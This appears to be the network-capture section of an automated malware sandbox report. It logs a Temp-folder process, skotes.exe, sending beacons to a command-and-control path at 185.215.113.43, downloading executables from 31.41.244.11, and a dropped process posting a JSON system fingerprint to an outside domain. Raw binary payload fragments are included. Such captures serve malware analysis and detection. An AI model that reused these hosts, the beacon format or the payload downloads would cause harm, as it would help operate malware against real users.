Nov 30, 2024 22:54:12.038800001 CET	1236	IN	Data Raw: 50 59 51 30 50 32 4c 48 41 4f 52 70 70 71 50 67 6d 2b 57 35 4e 55 34 34 4d 48 37 67 69 32 48 45 5a 70 4f 74 46 74 31 48 65 6a 46 2f 6c 77 4e 43 68 2f 2b 4d 61 69 64 55 32 57 6f 52 4f 4f 75 6b 39 75 4b 55 71 48 6c 43 35 6f 41 2f 50 5a 48 72 7a 31 Data Ascii: PYQ0P2LHAORppqPgm+W5NU44MH7gi2HEZpOtFt1HejF/lwNCh/+MaidU2WoROOuk9uKUqHlC5oA/PZHrz1OfFlSIttYUq8aqx/HF8tLygXk94m5U+MEnR485J87Kh1UGc5kkx4lrmfaXLM2vTD9GyewhmRfPyn7RenYL0BSlNQ5+z4pKAg5YiGrqmnLmupqOYe3iuSpimKEDSaBnZefwA0+BjK+yvoLtAMfPjGFhYbb06agreor
Nov 30, 2024 22:54:12.039289951 CET	1236	IN	Data Raw: 33 71 6f 39 4b 6e 37 6d 62 75 2b 65 67 39 57 32 67 77 77 35 5a 49 58 67 37 6e 2f 51 66 6a 69 6e 56 4e 49 4b 32 57 70 48 4d 5a 64 44 6d 52 7a 62 69 54 67 6d 56 78 76 47 37 32 30 62 44 30 33 73 7a 58 4f 45 52 35 6d 5a 73 47 2f 4e 46 72 5a 35 6c 33 Data Ascii: 3qo9Kn7mbu+eg9W2gww5ZIXg7n/QfjinVNIK2WpHMZdDmRzbiTgmVxvG720bD03szXOER5mZsG/NFrZ5l3/wgIrSLt+muWtqTAse+0ZmP7s4EPU3aD2rqAvjhYCjSSHLl8AkDOuCRFF+77E1r+oJMVIlUDbfGlrJVJnz9gpRGb3LZyaC9nG0pBO+xAteB7NFolfHt1l+zLlTQUlA9OS2YChPrO7pP0Wl8WFmNhuoQfXNL3Ld2Z1
Nov 30, 2024 22:54:12.039309025 CET	1236	IN	Data Raw: 55 64 2f 66 41 32 55 2b 34 75 43 31 30 43 68 63 66 52 65 4a 52 38 7a 64 44 38 57 4f 37 68 2f 63 44 36 77 53 31 4f 6e 71 43 4e 77 71 79 7a 77 6a 4b 6f 39 47 6f 4b 61 33 72 44 4b 52 4b 4d 59 73 33 31 6d 4d 78 61 69 2b 34 51 53 73 58 6a 79 56 65 61 Data Ascii: Ud/fA2U+4uC10ChcfReJR8zdD8WO7h/cD6wS1OnqCNwqyzwjKo9GoKa3rDKRKMYs31mMxai+4QSsXjyVeaygKWO7de+X6V46HaSW2l22r9Lw/HmYBvZoPBVyXiiG9djCfm3/SUS2kDtM/b6sSCNuBkDjpMsOAMpr6S7euZbku2t6kbKRb4E2+9Ts2TmsiXI0giKSBPqx2n/OhLLPrAdblD4qMmtQ3GK0wkqBybv4xGwN4XpaLm6
Nov 30, 2024 22:54:12.040237904 CET	1236	IN	Data Raw: 55 70 37 77 43 69 65 70 57 36 4c 75 78 74 36 79 42 35 42 48 41 35 76 49 30 74 70 43 5a 43 30 6d 65 71 63 47 75 59 78 78 67 5a 69 35 51 6e 43 65 58 32 70 30 57 33 4d 6e 72 55 61 75 6e 56 4c 4d 6f 43 56 43 5a 51 6b 43 78 6a 2b 4a 6f 67 71 76 71 79 Data Ascii: Up7wCiepW6Luxt6yB5BHA5vI0tpCZC0meqcGuYxxgZi5QnCeX2p0W3MnrUaunVLMoCVCZQkCxj+Jogqvqy8C1dhegq3RFV4BtvUtDiCDCATjbFHeNMhRaTFaNRqe5ImXP6B3b+MZYirpe7kxCsA72jFbQhxpHfimTRY3YKrYDhCBHF14Hczws1KLuRw1zX404hdZcf1LF65NXhw7Msm3t0MDi6DRqa5TzwGsJFxCz4MtxcoUnAp
Nov 30, 2024 22:54:12.040252924 CET	896	IN	Data Raw: 46 35 30 44 6b 44 4b 42 51 49 70 41 37 54 61 6f 38 77 70 55 31 4b 2f 71 48 70 4a 2f 38 70 6b 32 4a 38 57 33 34 47 37 4d 2f 54 73 48 35 56 65 65 30 38 2b 53 4b 76 69 2b 45 44 38 67 57 77 6c 71 4b 78 56 4e 34 48 33 4f 47 75 45 31 6b 7a 52 4a 68 34 Data Ascii: F50DkDKBQIpA7Tao8wpU1K/qHpJ/8pk2J8W34G7M/TsH5Vee08+SKvi+ED8gWwlqKxVN4H3OGuE1kzRJh4qrrwEBCei88wG5Bb8tehe/Tb5FGDSstQpAImHHPJySJW1T5vUeqII/sMC+SdR6y2lsCvklUlvpqRIrkqmBlYxlANbHbRqB/0GBVuy8QdoUNgV/mAKehtilj3l5lGAHd5QeSuioQORbG6z5LMKgftxzreJK6EgoVzI
Nov 30, 2024 22:54:12.040815115 CET	1236	IN	Data Raw: 39 6c 41 6f 33 54 4e 59 30 37 72 4e 38 58 6d 38 74 65 69 46 62 7a 67 6a 30 78 4c 78 77 76 35 6c 44 35 39 62 72 59 55 39 77 47 65 53 67 4e 53 2b 2f 41 64 45 36 36 58 51 33 69 6a 36 6f 76 39 6e 6f 53 51 70 55 4a 48 2f 51 74 34 30 50 59 4f 63 6d 44 Data Ascii: 9lAo3TNY07rN8Xm8teiFbzgj0xLxwv5lD59brYU9wGeSgNS+/AdE66XQ3ij6ov9noSQpUJH/Qt40PYOcmDYAKR/emi3cxO1O7pKZU2W3bbbDUNkK+KTAFsYONR4kFbhwfUQH58PzL8fQhhTaE3sWhJRVxKI5qmmpu0rXdYAGctMymsn+qzNVsSK7sPKZaRElOZfCF4blwDJcoZpcMG/Kzj/1dlAun4XYog+mmfOBK6q2Nggdh1i
Nov 30, 2024 22:54:12.040838957 CET	1236	IN	Data Raw: 55 48 77 68 7a 41 49 62 78 35 78 4a 45 4b 62 64 6e 70 4b 72 42 67 39 30 75 46 44 76 47 30 30 6d 32 41 51 6c 53 33 6b 34 65 75 74 78 67 7a 2f 4f 6b 45 38 76 68 72 53 67 4d 63 71 35 53 74 37 6d 6a 66 78 50 7a 46 4f 63 63 49 59 37 37 68 49 4b 4b 70 Data Ascii: UHwhzAIbx5xJEKbdnpKrBg90uFDvG00m2AQlS3k4eutxgz/OkE8vhrSgMcq5St7mjfxPzFOccIY77hIKKpZmPPVpuCVaxqnGp890ku/wrM7NPrV6mbHOum5Myd20ktummypYT5jRzofAaqmNBHULkqzRlxiR2PVVm0PRTHkAu+MFj2Utwq0qqCHwcDf1FbbgV8Npj+x8IiySRuA709cKCIhMKP73UCCl63T0QI+HFAGYUTdI31o
Nov 30, 2024 22:54:12.041697979 CET	1236	IN	Data Raw: 55 75 5a 78 72 77 58 6d 77 32 71 73 52 53 31 4b 6e 6d 34 65 4e 2f 74 41 56 63 53 4e 67 62 6d 59 56 61 44 2f 35 41 45 69 71 76 33 2f 58 64 34 67 61 59 49 61 66 46 57 54 32 6e 78 62 4c 44 32 4c 6e 65 66 37 44 51 74 61 4f 72 78 47 76 59 56 33 47 39 Data Ascii: UuZxrwXmw2qsRS1Knm4eN/tAVcSNgbmYVaD/5AEiqv3/Xd4gaYIafFWT2nxbLD2Lnef7DQtaOrxGvYV3G9VXOr37OavSUkxk2Ov6jAfANwPmYhJAH0MThimEvm71hLI1s/UpsARYNiKql38pjFXlMQCUsLfvKUqIWWEGxeF12WWQdNrPBVugt0r/60Wz+Cz0vHd/PaCKaofAP3Iw6M5yKO5o8zEeS5CMw2YOVxbatllICw6ax1l
Nov 30, 2024 22:54:12.159270048 CET	1236	IN	Data Raw: 76 31 59 45 56 61 76 71 54 38 50 46 61 53 65 39 78 2b 68 50 2b 43 6d 42 38 5a 4b 46 50 74 39 47 47 75 62 2b 4a 79 5a 62 2b 43 2b 45 33 6c 31 7a 55 39 49 39 4d 48 47 47 2f 4c 72 68 57 57 44 4b 75 6f 71 35 46 4a 6e 31 4b 4a 6e 6f 56 6b 39 62 47 6a Data Ascii: v1YEVavqT8PFaSe9x+hP+CmB8ZKFPt9GGub+JyZb+C+E3l1zU9I9MHGG/LrhWWDKuoq5FJn1KJnoVk9bGjBT1xYeWrTo7zw1TdTxJ+q7E2CckISZaXsaNnEoOWkueQRQPt6rCs5TuE9cMg3z12ojcsEzdp5XEZcX4ble5Lxw3uBWcEO8NfuLZWDjx4IljGysPjHnJlwU3h0DgXvoKV+cxeDHkepr3aAmBDdfTBX3qmQA1Rq4TZD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49833	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:16.876812935 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 37 38 32 30 32 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010782021&unit=246122658369
Nov 30, 2024 22:54:18.267376900 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:54:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49836	31.41.244.11	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:18.390600920 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 30, 2024 22:54:19.798846960 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:54:19 GMT Content-Type: application/octet-stream Content-Length: 4470272 Last-Modified: Sat, 30 Nov 2024 21:27:14 GMT Connection: keep-alive ETag: "674b8332-443600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ed 4a 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 00 47 00 00 66 77 00 00 32 00 00 00 c0 c9 00 00 10 00 00 00 10 47 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c9 00 00 04 00 00 b2 e3 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f d0 74 00 73 00 00 00 00 c0 74 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 a4 c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 a3 c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJg(Gfw2G@D@ _tst t2(@.rsrctB(@.idata tD(@ 9tF(@xjkpyrboH(@kfdwlzfdD@.taggant0"D@
Nov 30, 2024 22:54:19.799041033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:54:19.799055099 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:54:19.799635887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:54:19.799649000 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: !kem!ao7~kTDQ>
Nov 30, 2024 22:54:19.800440073 CET	1236	IN	Data Raw: b4 9f 89 aa fd 24 d1 17 c3 b7 b2 84 91 92 42 63 d9 b4 c6 d2 8f 3a 86 b7 3b 52 d9 9a 78 4e b7 ae 7b 39 0a ba c4 03 03 56 59 28 76 f4 f5 0d 60 5f 00 09 f2 33 c7 95 4c 0f f8 0e 7b 41 5c 5a fb 82 fb 8e 3b b4 79 e6 f0 31 0c 60 f3 c7 69 83 e2 f0 62 f8 Data Ascii: $Bc:;RxN{9VY(v`_3L{A\Z;y1`ib6Q;\|__?i`n6B?rN=btN+aJ`\VF{]{JfwgXrvfn%Dkwz$Q?I~7:2j*
Nov 30, 2024 22:54:19.800458908 CET	672	IN	Data Raw: 8b 94 33 bb 98 db 24 71 d7 a3 7e 52 c8 57 46 84 af a4 db 2d a8 07 d4 94 07 62 a1 1c 7c 29 0d 44 23 c7 78 ad d0 f5 f5 55 0c 4b b5 80 60 26 16 e0 e6 fe e7 3c 70 7f 20 94 e6 10 df 56 05 c2 29 ff 6f ac 3b ac 5c 7e 75 2c 86 a3 25 0c 02 bd 62 7f 87 1b Data Ascii: 3$q~RWF-b\|)D#xUK`&<p V)o;\~u,%bBRGlA!C)xwA1YKG\|?EBTu#~',o;J"h0j,xA56gBmbrBNK&&Co!~^dx9;/~Wuf
Nov 30, 2024 22:54:19.801381111 CET	1236	IN	Data Raw: c8 64 2a 8a c9 2e 8b 8a c9 b0 cb 16 d4 cd 8d 56 13 1a c1 a4 2f b4 8d 3d a6 e8 90 ba b8 9b a0 e4 d1 af 64 d8 9b 63 74 26 04 5a d7 70 fc e2 7f 55 7c 18 24 06 cd 4a b9 82 a2 b7 8e 02 4f d5 35 7e 9b 39 1f 9b fb 68 64 7e ef 79 e2 de 95 54 5f 1e 3b ff Data Ascii: d.V/=dct&ZpU\|$JO5~9hd~yT_;KY"N&=)};,=1>O+=NN=jA3!]~.lN?dgu3F\|5ybz=vP5$XM[;ql
Nov 30, 2024 22:54:19.801393986 CET	1236	IN	Data Raw: 68 8e 13 86 89 9e 20 37 10 81 67 90 3b 3c 7a a6 0f 2e 8e 0f ce 4e 0d b9 db c5 39 22 0f 84 a9 00 9d e6 84 23 0f 04 91 34 d6 c9 ad 08 9d fc 9d 7f 94 32 ee 3a 7b d9 91 d7 7c 94 fe 40 84 b0 0e f5 3b 34 90 83 ad 50 27 d6 6c d2 d1 72 1b 95 e1 79 7e 4e Data Ascii: h 7g;<z.N9"#42:{\|@;4P'lry~Nt^p-YV\|FG@R$^vW`mg+WYQqwCbf2'7G@\j8u?yCoK?vbRsP?[m7JXG!{UXE!BRv!
Nov 30, 2024 22:54:19.802249908 CET	1236	IN	Data Raw: 91 47 de 20 14 41 b4 7b 2b ae 79 1a 99 93 d5 87 60 50 ab b8 7d 7e 76 65 05 7f 57 e8 02 62 42 2d fa f6 19 61 a7 04 82 a4 f6 a2 25 37 5d 4f b1 17 a4 6f b5 49 67 42 17 be 8e df 46 9d cf 7f 88 95 64 b2 ee ed ae 00 d2 98 99 2b b6 85 b0 20 b5 83 6e e8 Data Ascii: G A{+y`P}~veWbB-a%7]OoIgBFd+ nM5Rd&d0I*i\$"r&#'{vR>>9`FSHa!88=e?iroxO8xvZIExXT_8t?&Ju.'+OCN\|
Nov 30, 2024 22:54:19.918958902 CET	1236	IN	Data Raw: 64 16 c6 c4 ab 6d 02 b9 f8 94 76 64 ef de 1b 82 b7 73 80 d0 46 2b a7 67 17 30 8a a2 65 33 86 26 0f 38 2e c6 a1 d2 6a 66 7d a8 dd f5 96 de 4c c6 1c c1 36 cc 1a 67 f3 e0 a0 08 a3 a6 13 7c e1 d2 68 d4 d5 25 03 97 ed 3e 7a bd 6d 65 c3 b3 22 6d eb c1 Data Ascii: dmvdsF+g0e3&8.jf}L6g\|h%>zme"mceijzyz20'leX?&&gm.bX/$pceYvk[PQ`c:-#9&g~Y>wzVezpZkZpob

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49861	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:29.928607941 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 37 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010787001&unit=246122658369
Nov 30, 2024 22:54:31.397245884 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:54:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49867	31.41.244.11	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:31.527714968 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 30, 2024 22:54:32.905456066 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:54:32 GMT Content-Type: application/octet-stream Content-Length: 4429312 Last-Modified: Sat, 30 Nov 2024 21:29:53 GMT Connection: keep-alive ETag: "674b83d1-439600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 f4 47 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 04 48 00 00 1c 76 00 00 32 00 00 00 80 c6 00 00 10 00 00 00 20 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 c6 00 00 04 00 00 07 36 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 80 73 00 73 00 00 00 00 70 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 63 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 62 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELPGg(Hv2 H@6D@ _sspscb `sD(@.rsrcpsT(@.idata sV(@ 7sX(@rtjzuflj PZ(@bnlzohotppC@.taggant0"tC@
Nov 30, 2024 22:54:32.905679941 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:54:32.905693054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:54:32.906224966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:54:32.906253099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:54:32.907183886 CET	1236	IN	Data Raw: 7f b5 cb 84 7a b8 5e fb b6 94 1b e4 67 3a 6f c1 3f ee 90 61 9e 3a d8 82 69 84 51 96 05 33 9d a4 5c d8 99 f1 c4 31 08 23 6c c9 1b 9a ed 21 15 3c 8c 0b d6 8a fc bd 13 e9 50 a2 e6 30 f5 66 d6 68 dd e9 a4 4c 2f 21 59 bc e5 00 a9 74 94 12 f9 ec 4e 09 Data Ascii: z^g:o?a:iQ3\1#l!<P0fhL/!YtNI%)!3b0o(W\!r`xu\|T6uqerP8Adxp^]0P^y_0d1cg$#(a1f~=gz7{p7.5x&Y X7hUu,wE!
Nov 30, 2024 22:54:32.907198906 CET	1236	IN	Data Raw: a3 90 9c f4 eb 98 17 b5 7e c4 1f e8 2d 8b 66 f2 e7 19 90 fc 3e 81 56 65 0f b3 67 e6 e7 06 a0 00 21 30 34 c5 28 45 dc 64 d9 8f 1b 2c 7e 0e 00 e9 71 e4 ed 0d f5 a5 ab 6d 91 9c 4d d0 f3 f4 51 28 4b 94 13 1f 8c 81 1e 9b 07 f5 5e 8b ff 20 94 9b d1 a4 Data Ascii: ~-f>Veg!04(Ed,~qmMQ(K^ /$)O80k}+d},P5rHiW:}kqg)-mN6p^\liRlYx$jy?-wtdzu&b=v9Y$Q
Nov 30, 2024 22:54:32.907969952 CET	1120	IN	Data Raw: 47 d6 ab 18 c4 38 84 10 70 b0 50 e8 07 ce 32 5f e4 69 a1 d9 6b 0d 71 d0 37 bf 1e 6d cf 9f 2b 59 40 87 89 3e 5d b3 c9 49 2d 2b 88 d6 4e 8e d7 0e 49 21 54 30 e4 24 d1 b8 df ab 12 90 30 9d 34 c3 e1 5d 62 bd 75 a4 16 0b f6 4a 64 3d 2d 04 22 6e 22 f8 Data Ascii: G8pP2_ikq7m+Y@>]I-+NI!T0$04]buJd=-"n"4}!t<6 \.R:)S-bTC\|ax~;q(K-n>#_'~k9q\|HV27<;mSFX\a$cyDy 9k(T#PH;{1 a5
Nov 30, 2024 22:54:32.907984972 CET	1236	IN	Data Raw: f6 3c 85 d6 72 a1 4e 7a e4 64 1e ff a0 d4 1e 70 15 b8 1d f9 5c 9a 7f 96 2f 0a 3f f6 64 a1 6b e5 15 e2 c9 ac 12 09 2c 18 e5 14 1c 43 ce 0a 2d 97 7d 97 c5 2b cd a9 e3 e6 70 7b a7 27 b0 9d 8d db 63 f6 c8 41 ed 15 c2 ed 84 1d a4 fd 68 d5 00 14 4d 8c Data Ascii: <rNzdp\/?dk,C-}+p{'cAhM%q#/`'i,b?u0;Z"2=d_u@xLD9q=]>+`"`j2~!i[tJ-,Lx/)r?)%)j?KE[v5
Nov 30, 2024 22:54:32.908759117 CET	1236	IN	Data Raw: 6e 5e 00 19 25 8e 54 28 51 65 4e 0c fc 90 9d 5d 24 76 83 e8 1e 82 53 c7 5e 0d 92 18 50 a3 c8 a8 e2 e8 55 88 f4 74 a3 02 2b c2 43 3e 12 a8 56 90 3c 5e 30 34 18 a2 00 dc d3 76 67 e9 99 c4 11 0b 48 e5 75 5e 14 aa f7 24 0a d1 c8 f3 1e e4 4b 50 1a 8d Data Ascii: n^%T(QeN]$vS^PUt+C>V<^04vgHu^$KP9;67~/EYGKQ^\|b.-`,3 DE0/($bmb!,7_^_\0JPM?4bmlc<Sg;L&!\|a_lpHgYg5.^]
Nov 30, 2024 22:54:33.025542974 CET	1236	IN	Data Raw: ea a4 57 0d 6e a0 55 15 f8 13 37 0d 8d be 3c 93 9e 90 62 42 b0 2b 00 61 2d e4 23 9d 11 85 38 90 13 22 d1 52 da 79 76 29 e9 b1 1b 90 99 23 cd 93 c6 af 55 b8 2d dc 28 d4 c4 9a 4d c5 a4 1b ae 94 26 a8 f2 75 60 b1 f8 a8 c8 de 8b 93 88 3c 54 34 9c 58 Data Ascii: WnU7<bB+a-#8"Ryv)#U-(M&u`<T4X\|Z%$sSYj}?/pB@Sr;)\|A%HEh\=:5@[{zYIl7D'eKZ^6-Vn{;j!v*/c<^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49881	34.17.28.197	80	7948	C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:37.310823917 CET	12360	OUT	POST /iPbGOhXhjezIEpnuodWg1732963366 HTTP/1.1 Host: home.twentykx20sb.top Accept: / Content-Type: application/json Content-Length: 445344 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 33 30 30 33 36 37 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.228", "current_time": "1733003673", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 584 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 880 }, { "name": "svchost.exe", "pid": 928 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 436 }, { "name": "svchost.exe", "pid": 376 }, { "name": "svchost.exe", "pid": 792 }, { "name": "svchost.exe", "pid": [TRUNCATED]
